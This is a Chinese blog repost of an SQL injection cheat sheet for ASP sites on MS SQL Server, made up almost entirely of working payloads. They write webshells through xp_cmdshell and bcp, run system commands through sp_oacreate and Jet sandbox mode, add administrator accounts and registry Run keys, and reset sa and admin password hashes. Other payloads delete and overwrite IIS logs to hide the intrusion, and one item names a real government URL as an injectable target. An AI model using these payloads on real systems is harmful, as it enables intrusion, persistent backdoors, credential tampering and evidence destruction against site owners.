go2newlife的专栏
项目资源共享群53604708欢迎大家加入!本群人满,请加40534490或者53676277群
登录
注册
全站
当前博客
空间
博客
好友
相册
留言
用户操作
[即时聊天]
[发私信]
[加为好友]
go2newlife
ID:go2newlife
共
38769
次访问,排名
2963(1)
好友
1
人,关注者
5
人
go2newlife的文章
原创 17 篇
翻译 0 篇
转载 142 篇
评论 44 篇
go2newlife的公告
最近评论
sap99:
www.sap99.com/,SAP99资料多多
SAP免费资料下载
http://www.sap99.com
有很多的学习资料,推荐一下,
aaronyip:
老大,假如实体包含子实体,报表该怎样做呢?例如
public class Customer
{
public int ID;
public string Name;
public string Address;
aaronyip:
老大,假如实体包含子实体,报表该怎样做呢?例如
public class Customer
{
public int ID;
public string Name;
public string Address;
zero8500:
eagle998@126.com
谢谢!
zhylninc:
这些事件不知道怎么用......
文章分类
.net 技术 关键技术
(RSS)
csla架构的学习
(RSS)
ERP基础
(RSS)
SOA相关
(RSS)
SqlServer2005
(RSS)
报表打印
(RSS)
编程思想
(RSS)
控件专题
(RSS)
面向对象的分析与设计
(RSS)
设计模式
(RSS)
生活与休闲
(RSS)
收藏
相册
存档
2008年04月(2)
2008年03月(3)
2008年02月(2)
2008年01月(25)
2007年12月(31)
2007年11月(96)
软件项目交易
订阅我的博客
详细的SQL注入相关的命令
收藏
新一篇: SQL server 2005中新增的排序函数及操作
|
旧一篇: SQL Server 2005中解决死锁方法
1
、 用
^
转义字符来写ASP(一句话木马)文件的方法:
http:
//
192.168
.
1.5
/
display.asp?keyno
=
1881
;
exec
master.dbo.xp_cmdshell
'
echo ^<script language=VBScript runat=server^>execute request^("l"^)^</script^> >c:\mu.asp
'
;
--
echo
^<%
execute
^
(request
^
("l"
^
)
^
)
%^>
>
c:\mu.asp
2
、 显示SQL系统版本:
http:
//
192.168
.
1.5
/
display.asp?keyno
=
188
and
1
=
(
select
@@VERSION
)
http:
//
www.xxxx.com
/
FullStory.asp?id
=
1
and
1
=
convert
(
int
,
@@version
)
--
Microsoft VBScript 编译器错误 错误
'
800a03f6
'
缺少
'
End
'
/
iisHelp
/
common
/
500
-
100
.asp,行242
Microsoft OLE DB Provider
for
ODBC Drivers 错误
'
80040e07
'
[
Microsoft
][
ODBC SQL Server Driver
][
SQL Server
]
Syntax error converting the
nvarchar
value
'
Microsoft SQL Server 2000 - 8.00.760 (Intel X86) Dec 17 2002 14:22:05 Copyright (c) 1988-2003 Microsoft Corporation Desktop Engine on Windows NT 5.0 (Build 2195: Service Pack 4)
'
to
a
column
of
data type
int
.
/
display.asp,行17
3
、 在检测索尼中国的网站漏洞时,分明已经确定了漏洞存在却无法在这三种漏洞中找到对应的类型。偶然间我想到了在SQL语言中可以使用“
in
”关键字进行查询,例如“
select
*
from
mytable
where
id
in
(
1
)”,括号中的值就是我们提交的数据,它的结果与使用“
select
*
from
mytable
where
id
=
1
”的查询结果完全相同。所以访问页面的时候在URL后面加上“)
and
1
=
1
and
1
in
(
1
”后原来的SQL语句就变成了“
select
*
from
mytable
where
id
in
(
1
)
and
1
=
1
and
1
in
(
1
)”,这样就会出现期待已久的页面了。暂且就叫这种类型的漏洞为“包含数字型”吧,聪明的你一定想到了还有“包含字符型”呢。对了,它就是由于类似“
select
*
from
mytable
where
name
in
(‘firstsee’)”的查询语句造成的。
4
、 判断xp_cmdshell扩展存储过程是否存在:
http:
//
192.168
.
1.5
/
display.asp?keyno
=
188
and
1
=
(
SELECT
count
(
*
)
FROM
master.dbo.sysobjects
WHERE
xtype
=
'
X
'
AND
name
=
'
xp_cmdshell
'
)
恢复xp_cmdshell扩展存储的命令:
http:
//
www.test.com
/
news
/
show1.asp?NewsId
=
125272
;
exec
master.dbo.sp_addextendedproc
'
xp_cmdshell
'
,’e:\inetput\web\xplog70.dll’;
--
5
、 向启动组中写入命令行和执行程序:
http:
//
192.168
.
1.5
/
display.asp?keyno
=
188
;
EXEC
master.dbo.xp_regwrite
'
HKEY_LOCAL_MACHINE
'
,
'
SOFTWARE\Microsoft\Windows\CurrentVersion\Run
'
,
'
help1
'
,
'
REG_SZ
'
,
'
cmd.exe /c net user test ptlove /add
'
6
、 查看当前的数据库名称:
http:
//
192.168
.
1.5
/
display.asp?keyno
=
188
and
0
<>
db_name
(n) n改成0,
1
,
2
,
3
……就可以跨库了
http:
//
www.xxxx.com
/
FullStory.asp?id
=
1
and
1
=
convert
(
int
,
db_name
())
--
Microsoft VBScript 编译器错误 错误
'
800a03f6
'
缺少
'
End
'
/
iisHelp
/
common
/
500
-
100
.asp,行242
Microsoft OLE DB Provider
for
ODBC Drivers 错误
'
80040e07
'
[
Microsoft
][
ODBC SQL Server Driver
][
SQL Server
]
Syntax error converting the
nvarchar
value
'
huidahouse
'
to
a
column
of
data type
int
.
/
display.asp,行17
7
、 列出当前所有的数据库名称:
select
*
from
master.dbo.sysdatabases 列出所有列的记录
select
name
from
master.dbo.sysdatabases 仅列出name列的记录
8
、 不需xp_cmdshell支持在有注入漏洞的SQL服务器上运行CMD命令:
CREATE
TABLE
mytmp(info
VARCHAR
(
400
),ID
int
IDENTITY
(
1
,
1
)
NOT
NULL
)
DECLARE
@shell
INT
DECLARE
@fso
INT
DECLARE
@file
INT
DECLARE
@isEnd
BIT
DECLARE
@out
VARCHAR
(
400
)
EXEC
sp_oacreate
'
wscript.shell
'
,
@shell
output
EXEC
sp_oamethod
@shell
,
'
run
'
,
null
,
'
cmd.exe /c dir c:\>c:\temp.txt
'
,
'
0
'
,
'
true
'
--
注意run的参数true指的是将等待程序运行的结果,对于类似ping的长时间命令必需使用此参数。
EXEC
sp_oacreate
'
scripting.filesystemobject
'
,
@fso
output
EXEC
sp_oamethod
@fso
,
'
opentextfile
'
,
@file
out,
'
c:\temp.txt
'
--
因为fso的opentextfile方法将返回一个textstream对象,所以此时@file是一个对象令牌
WHILE
@shell
>
0
BEGIN
EXEC
sp_oamethod
@file
,
'
Readline
'
,
@out
out
INSERT
INTO
MYTMP(info)
VALUES
(
@out
)
EXEC
sp_oagetproperty
@file
,
'
AtEndOfStream
'
,
@isEnd
out
IF
@isEnd
=
1
BREAK
ELSE
CONTINUE
END
DROP
TABLE
MYTMP
--
--------
DECLARE
@shell
INT
DECLARE
@fso
INT
DECLARE
@file
INT
DECLARE
@isEnd
BIT
DECLARE
@out
VARCHAR
(
400
)
EXEC
sp_oacreate
'
wscript.shell
'
,
@shell
output
EXEC
sp_oamethod
@shell
,
'
run
'
,
null
,
'
cmd.exe /c cscript C:\Inetpub\AdminScripts\adsutil.vbs set /W3SVC/InProcessIsapiApps "C:\WINNT\system32\idq.dll" "C:\WINNT\system32\inetsrv\httpext.dll" "C:\WINNT\system32\inetsrv\httpodbc.dll" "C:\WINNT\system32\inetsrv\ssinc.dll" "C:\WINNT\system32\msw3prt.dll" "C:\winnt\system32\inetsrv\asp.dll">c:\temp.txt
'
,
'
0
'
,
'
true
'
EXEC
sp_oacreate
'
scripting.filesystemobject
'
,
@fso
output
EXEC
sp_oamethod
@fso
,
'
opentextfile
'
,
@file
out,
'
c:\temp.txt
'
WHILE
@shell
>
0
BEGIN
EXEC
sp_oamethod
@file
,
'
Readline
'
,
@out
out
INSERT
INTO
MYTMP(info)
VALUES
(
@out
)
EXEC
sp_oagetproperty
@file
,
'
AtEndOfStream
'
,
@isEnd
out
IF
@isEnd
=
1
BREAK
ELSE
CONTINUE
END
以下是一行里面将WEB用户加到管理员组中:
DECLARE
@shell
INT
DECLARE
@fso
INT
DECLARE
@file
INT
DECLARE
@isEnd
BIT
DECLARE
@out
VARCHAR
(
400
)
EXEC
sp_oacreate
'
wscript.shell
'
,
@shell
output
EXEC
sp_oamethod
@shell
,
'
run
'
,
null
,
'
cmd.exe /c cscript C:\Inetpub\AdminScripts\adsutil.vbs set /W3SVC/InProcessIsapiApps "C:\WINNT\system32\idq.dll" "C:\WINNT\system32\inetsrv\httpext.dll" "C:\WINNT\system32\inetsrv\httpodbc.dll" "C:\WINNT\system32\inetsrv\ssinc.dll" "C:\WINNT\system32\msw3prt.dll" "C:\winnt\system32\inetsrv\asp.dll">c:\temp.txt
'
,
'
0
'
,
'
true
'
EXEC
sp_oacreate
'
scripting.filesystemobject
'
,
@fso
output
EXEC
sp_oamethod
@fso
,
'
opentextfile
'
,
@file
out,
'
c:\temp.txt
'
WHILE
@shell
>
0
BEGIN
EXEC
sp_oamethod
@file
,
'
Readline
'
,
@out
out
INSERT
INTO
MYTMP(info)
VALUES
(
@out
)
EXEC
sp_oagetproperty
@file
,
'
AtEndOfStream
'
,
@isEnd
out
IF
@isEnd
=
1
BREAK
ELSE
CONTINUE
END
以下是一行中执行EXE程序:
DECLARE
@shell
INT
DECLARE
@fso
INT
DECLARE
@file
INT
DECLARE
@isEnd
BIT
DECLARE
@out
VARCHAR
(
400
)
EXEC
sp_oacreate
'
wscript.shell
'
,
@shell
output
EXEC
sp_oamethod
@shell
,
'
run
'
,
null
,
'
cmd.exe /c cscript.exe E:\bjeea.net.cn\score\fts\images\iis.vbs lh1 c:\>c:\temp.txt
'
,
'
0
'
,
'
true
'
EXEC
sp_oacreate
'
scripting.filesystemobject
'
,
@fso
output
EXEC
sp_oamethod
@fso
,
'
opentextfile
'
,
@file
out,
'
c:\temp.txt
'
WHILE
@shell
>
0
BEGIN
EXEC
sp_oamethod
@file
,
'
Readline
'
,
@out
out
INSERT
INTO
MYTMP(info)
VALUES
(
@out
)
EXEC
sp_oagetproperty
@file
,
'
AtEndOfStream
'
,
@isEnd
out
IF
@isEnd
=
1
BREAK
ELSE
CONTINUE
END
SQL下三种执行CMD命令的方法:
先删除7.18号日志:
(
1
)
exec
master.dbo.xp_cmdshell
'
del C:\winnt\system32\logfiles\W3SVC5\ex050718.log >c:\temp.txt
'
(
2
)
DECLARE
@shell
INT
DECLARE
@fso
INT
DECLARE
@file
INT
DECLARE
@isEnd
BIT
DECLARE
@out
VARCHAR
(
400
)
EXEC
sp_oacreate
'
wscript.shell
'
,
@shell
output
EXEC
sp_oamethod
@shell
,
'
run
'
,
null
,
'
cmd.exe /c del C:\winnt\system32\logfiles\W3SVC5\ex050718.log >c:\temp.txt
'
,
'
0
'
,
'
true
'
EXEC
sp_oacreate
'
scripting.filesystemobject
'
,
@fso
output
EXEC
sp_oamethod
@fso
,
'
opentextfile
'
,
@file
out,
'
c:\temp.txt
'
WHILE
@shell
>
0
BEGIN
EXEC
sp_oamethod
@file
,
'
Readline
'
,
@out
out
INSERT
INTO
MYTMP(info)
VALUES
(
@out
)
EXEC
sp_oagetproperty
@file
,
'
AtEndOfStream
'
,
@isEnd
out
IF
@isEnd
=
1
BREAK
ELSE
CONTINUE
END
(
3
)首先开启jet沙盘模式,通过扩展存储过程xp_regwrite修改注册表实现,管理员修改注册表不能预防的原因。出于安全原因,默认沙盘模式未开启,这就是为什么需要xp_regwrite的原因,而xp_regwrite至少需要DB_OWNER权限,为了方便,这里建议使用sysadmin权限测试:
exec
master..xp_regwrite
'
HKEY_LOCAL_MACHINE
'
,
'
SOFTWARE\Microsoft\Jet\4.0\Engines
'
,
'
SandBoxMode
'
,
'
REG_DWORD
'
,
1
注:
0
禁止一切(默认)
1
使能访问ACCESS,但是禁止其它
2
禁止访问ACCESS,但是使能其他
3
使能一切
这里仅给出sysadmin权限下使用的命令:
select
*
from
openrowset
(
'
microsoft.jet.oledb.4.0
'
,
'
;database=c:\winnt\system32\ias\ias.mdb
'
,
'
select shell("cmd.exe /c net user admin admin1234 /add")
'
)
建立链接数据库
'
L0op8ack
'
参考命令:
EXEC
sp_addlinkedserver
'
L0op8ack
'
,
'
OLE DB Provider for Jet
'
,
'
Microsoft.Jet.OLEDB.4.0
'
,
'
c:\windows\system32\ias\ias.mdb
'
如何使用链接数据库:
使用这个方式可以执行,但是很不幸,DB_OWNER权限是不够的,需要至少sysadmin权限或者securityadmin
+
setupadmin权限组合
sp_addlinkedserver需要sysadmin或setupadmin权限
sp_addlinkedsrvlogin需要sysadmin或securityadmin权限
最终发现,还是sa权限或者setupadmin
+
securityadmin权限帐户才能使用,
一般没有哪个管理员这么设置普通帐户权限的
实用性不强,仅作为一个学习总结吧
大致过程如下,如果不是sysadmin,那么IAS.mdb权限验证会出错,
我测试的时候授予hacker这个用户setupadmin
+
securityadmin权限,使用ias.mdb失败
需要找一个一般用户可访问的mdb才可以:
新建链接服务器”L0op8ack”:
EXEC
sp_addlinkedserver
'
L0op8ack
'
,
'
JetOLEDB
'
,
'
Microsoft.Jet.OLEDB.4.0
'
,
'
c:\winnt\system32\ias\ias.mdb
'
;
--
exec
sp_addlinkedsrvlogin
'
L0op8ack
'
,
'
false
'
;
--
或
exec
sp_addlinkedsrvlogin
'
L0op8ack
'
,
'
false
'
,
NULL
,
'
test1
'
,
'
ptlove
'
;
--
SELECT
*
FROM
OPENQUERY
(L0op8ack,
'
SELECT shell("cmd.exe /c net user")
'
);
--
exec
sp_droplinkedsrvlogin
'
L0op8ack
'
,
'
false
'
;
--
exec
sp_dropserver
'
L0op8ack
'
;
--
再考贝一个其它文件来代替7.18日文件:
(
1
)
exec
master.dbo.xp_cmdshell
'
copy C:\winnt\system32\logfiles\W3SVC5\ex050716.log C:\winnt\system32\logfiles\W3SVC5\ex050718.log>c:\temp.txt
'
(
2
)
DECLARE
@shell
INT
DECLARE
@fso
INT
DECLARE
@file
INT
DECLARE
@isEnd
BIT
DECLARE
@out
VARCHAR
(
400
)
EXEC
sp_oacreate
'
wscript.shell
'
,
@shell
output
EXEC
sp_oamethod
@shell
,
'
run
'
,
null
,
'
cmd.exe /c copy C:\winnt\system32\logfiles\W3SVC5\ex050716.log C:\winnt\system32\logfiles\W3SVC5\ex050718.log>c:\temp.txt
'
,
'
0
'
,
'
true
'
EXEC
sp_oacreate
'
scripting.filesystemobject
'
,
@fso
output
EXEC
sp_oamethod
@fso
,
'
opentextfile
'
,
@file
out,
'
c:\temp.txt
'
WHILE
@shell
>
0
BEGIN
EXEC
sp_oamethod
@file
,
'
Readline
'
,
@out
out
INSERT
INTO
MYTMP(info)
VALUES
(
@out
)
EXEC
sp_oagetproperty
@file
,
'
AtEndOfStream
'
,
@isEnd
out
IF
@isEnd
=
1
BREAK
ELSE
CONTINUE
END
(
3
)
DECLARE
@shell
INT
DECLARE
@fso
INT
DECLARE
@file
INT
DECLARE
@isEnd
BIT
DECLARE
@out
VARCHAR
(
400
)
EXEC
sp_oacreate
'
wscript.shell
'
,
@shell
output
EXEC
sp_oamethod
@shell
,
'
run
'
,
null
,
'
cmd.exe /c net user>c:\temp.txt
'
,
'
0
'
,
'
true
'
EXEC
sp_oacreate
'
scripting.filesystemobject
'
,
@fso
output
EXEC
sp_oamethod
@fso
,
'
opentextfile
'
,
@file
out,
'
c:\temp.txt
'
WHILE
@shell
>
0
BEGIN
EXEC
sp_oamethod
@file
,
'
Readline
'
,
@out
out
INSERT
INTO
MYTMP(info)
VALUES
(
@out
)
EXEC
sp_oagetproperty
@file
,
'
AtEndOfStream
'
,
@isEnd
out
IF
@isEnd
=
1
BREAK
ELSE
CONTINUE
END
9
、 用UPDATE来更新表中的数据:
HTTP:
//
xxx.xxx.xxx
/
abc.asp?p
=
YY;
update
upload.dbo.admin
set
pwd
=
'
a0b923820dcc509a
'
where
username
=
'
www
'
;
--
www用户密码的16位MD5值为:a0b923820dcc509a,即把密码改成1;
32位MD5值为: ,密码为
10
、 利用表内容导成文件功能
SQL有BCP命令,它可以把表的内容导成文本文件并放到指定位置。利用这项功能,我们可以先建一张临时表,然后在表中一行一行地输入一个ASP木马,然后用BCP命令导出形成ASP文件。
命令行格式如下:
bcp "
select
*
from
temp
" queryout c:\inetpub\wwwroot\runcommand.asp –c –S localhost –U sa –P upload(
'
S
'
参数为执行查询的服务器,
'
U
'
参数为用户名,
'
P
'
参数为密码,最终上传了一个runcommand.asp的木马)。
11
、创建表、播入数据和读取数据的方法
创建表:
'
and 1=1 union select 1,2,3,4;create table [dbo].[cyfd]([gyfd][char](255))--
往表里播入数据:
'
and
1
=
1
union
select
1
,
2
,
3
,
4
;
DECLARE
@result
varchar
(
255
)
select
top
1
name
from
upload.dbo.sysobjects
where
xtype
=
'
U
'
and
status
>
0
,
@result
output
insert
into
cyfd (gyfd)
values
(
@result
);
--
'
and 1=1 union select 1,2,3,4;DECLARE @result varchar(255) exec master.dbo.xp_regread
'
HKEY_LOCAL_MACHINE
'
,
'
SYSTEM\CONTROLSet001\Services\W3SVC\Parameters\Virtual Roots
'
,
'
/
'
,@result output insert into cyfd (gyfd) values(@result);--
从表里读取数据:
'
and
1
=
(
select
count
(
*
)
from
cyfd
where
gyfd
>
1
)
--
删除临时表:
'
;drop table cyfd;--
12、通过SQL语句直接更改sa的密码:
update master.dbo.sysxlogins set password=0x0100AB01431E944AA50CBB30267F53B9451B7189CA67AF19A1FC944AA50CBB30267F53B9451B7189CA67AF19A1FC where sid=0x01,这样sa的密码就被我们改成了111111拉。呵呵,解决的方法就是把sa给删拉。,怎么删可以参考我的《完全删除sa这个后门》。
查看本机所有的数据库用户名:
select * from master.dbo.sysxlogins
select name,sid,password ,dbid from master.dbo.sysxlogins
更改sa口令方法:用sql综合利用工具连接后,执行命令:
exec sp_password NULL,
'
新密码
'
,
'
sa
'
13、查询dvbbs库中所有的表名和表结构:
select * from dvbbs.dbo.sysobjects where xtype=
'
U
'
and status>0
select * from dvbbs.dbo.syscolumns where id=1426104121
14、手工备份当前数据库:
完全备份:
;declare @a sysname,@s nvarchar(4000)
select @a=db_name(),@s=
'
c:
/
db1
'
backup database @a to disk=@s WITH formAT--
差异备份:
;declare @a sysname,@s nvarchar(4000)
select @a=db_name(),@s=
'
c:
/
db1
'
backup database @a to disk=@s WITH DIFFERENTIAL,formAT—
15、添加和删除一个SA权限的用户test:
exec master.dbo.sp_addlogin test,ptlove
exec master.dbo.sp_addsrvrolemember test,sysadmin
cmd.exe /c isql -E /U alma /P /i K:\test.qry
16、select * from ChouYFD.dbo.sysobjects where xtype=
'
U
'
and status>0
就可以列出库ChouYFD中所有的用户建立的表名。
Select name,id from ChouYFD.dbo.sysobjects where xtype=
'
U
'
and status>0
17、
http://www.npc.gov.cn/zgrdw/common/image_view.jsp?sqlstr=select * from rdweb.dbo.syscolumns (where id=1234)
列出rdweb库中所有表中的字段名称
select * from dvbbs.dbo.syscolumns where id=5575058
列出库dvbbs中表id=5575058的所有字段名
18、删除记录命令:delete from Dv_topic where boardid=5 and topicid=7978
19、绕过登录验证进入后台的方法整理:
1)
'
or
''
=
'
2)
'
or
1
=
1
--